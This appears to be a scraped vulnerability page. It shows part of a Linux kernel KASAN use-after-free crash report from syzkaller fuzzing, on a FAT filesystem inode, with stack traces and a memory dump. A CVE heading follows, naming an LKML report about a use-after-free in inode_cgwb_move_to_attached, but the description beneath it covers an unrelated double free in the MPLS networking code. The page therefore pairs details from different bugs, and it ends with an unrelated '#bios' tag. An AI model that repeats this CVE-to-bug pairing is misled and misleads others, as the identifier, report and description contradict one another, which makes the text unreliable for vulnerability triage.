new\_inode+0x1b/0x40  
fat\_build\_inode+0x146/0x2d0  
vfat\_create+0x249/0x390  
lookup\_open+0x10bc/0x1640  
path\_openat+0xa42/0x2840  
do\_filp\_open+0x1ca/0x2a0  
do\_sys\_openat2+0x61b/0x990  
do\_sys\_open+0xc3/0x140  
do\_syscall\_64+0x35/0xb0  
entry\_SYSCALL\_64\_after\_hwframe+0x63/0xcd

Freed by task 16:  
kasan\_save\_stack+0x1e/0x40  
kasan\_set\_track+0x21/0x30  
kasan\_set\_free\_info+0x20/0x30  
\_\_kasan\_slab\_free+0xf5/0x180  
kmem\_cache\_free.part.0+0xfc/0x4a0  
i\_callback+0x3f/0x70  
rcu\_core+0x785/0x1720  
\_\_do\_softirq+0x1d0/0x908

Last potentially related work creation:  
kasan\_save\_stack+0x1e/0x40  
\_\_kasan\_record\_aux\_stack+0x7e/0x90  
call\_rcu+0x99/0x740  
destroy\_inode+0x129/0x1b0  
iput.part.0+0x5cd/0x800  
iput+0x58/0x70  
dentry\_unlink\_inode+0x2e2/0x4a0  
\_\_dentry\_kill+0x374/0x5e0  
dput+0x656/0xbe0  
\_\_fput+0x3cc/0xa90  
task\_work\_run+0xe0/0x1a0  
exit\_to\_user\_mode\_prepare+0x25d/0x270  
syscall\_exit\_to\_user\_mode+0x19/0x50  
do\_syscall\_64+0x42/0xb0  
entry\_SYSCALL\_64\_after\_hwframe+0x63/0xcd

The buggy address belongs to the object at ffff8880273c4080  
which belongs to the cache fat\_inode\_cache of size 1488  
The buggy address is located 728 bytes inside of  
1488-byte region \[ffff8880273c4080, ffff8880273c4650)

The buggy address belongs to the physical page:  
page:ffffea00009cf100 refcount:1 mapcount:0 mapping:0000000000000000  
index:0xffff8880273c4ffe pfn:0x273c4  
flags: 0xfff00000000200(slab|node=0|zone=1|lastcpupid=0x7ff)  
raw: 00fff00000000200 ffffea00009cf0c8 ffff88801820e450 ffff888103e00e00  
raw: ffff8880273c4ffe ffff8880273c4080 0000000100000002 0000000000000000  
page dumped because: kasan: bad access detected  
page\_owner tracks the page as allocated  
page last allocated via order 0, migratetype Reclaimable, gfp\_mask  
0x242050(\_\_GFP\_IO|\_\_GFP\_NOWARN|\_\_GFP\_COMP|\_\_GFP\_THISNODE|\_\_GFP\_RECLAIMABLE),  
pid 7810, tgid 7808 (syz-executor.1), ts 50543388569, free\_ts  
21285403579  
prep\_new\_page+0x2c6/0x350  
get\_page\_from\_freelist+0xae9/0x3a80  
\_\_alloc\_pages+0x321/0x710  
cache\_grow\_begin+0x75/0x360  
kmem\_cache\_alloc\_lru+0xe72/0xfb0  
fat\_alloc\_inode+0x23/0x1e0  
alloc\_inode+0x61/0x1e0  
new\_inode\_pseudo+0x13/0x80  
new\_inode+0x1b/0x40  
fat\_fill\_super+0x1c37/0x3710  
mount\_bdev+0x34d/0x410  
legacy\_get\_tree+0x105/0x220  
vfs\_get\_tree+0x89/0x2f0  
path\_mount+0x121b/0x1cb0  
do\_mount+0xf3/0x110  
\_\_x64\_sys\_mount+0x18f/0x230  
page last free stack trace:  
free\_pcp\_prepare+0x5ab/0xd00  
free\_unref\_page+0x19/0x410  
slab\_destroy+0x14/0x50  
slabs\_destroy+0x6a/0x90  
\_\_\_cache\_free+0x1e3/0x3b0  
qlist\_free\_all+0x51/0x1c0  
kasan\_quarantine\_reduce+0x13d/0x180  
\_\_kasan\_slab\_alloc+0x97/0xb0  
kmem\_cache\_alloc+0x204/0xcc0  
getname\_flags+0xd2/0x5b0  
vfs\_fstatat+0x73/0xb0  
\_\_do\_sys\_newlstat+0x8b/0x110  
do\_syscall\_64+0x35/0xb0  
entry\_SYSCALL\_64\_after\_hwframe+0x63/0xcd

Memory state around the buggy address:  
ffff8880273c4200: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb  
ffff8880273c4280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb  
\>ffff8880273c4300: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb  
^  
ffff8880273c4380: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb  
ffff8880273c4400: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb  
\==================================================================

CVE-2023-26605: LKML: Palash Oswal: KASAN: use-after-free Read in inode_cgwb_move_to_attached

In the Linux kernel before 6.1.13, there is a double free in net/mpls/af_mpls.c upon an allocation failure (for registering the sysctl table under a new location) during the renaming of a device.

Tag

#bios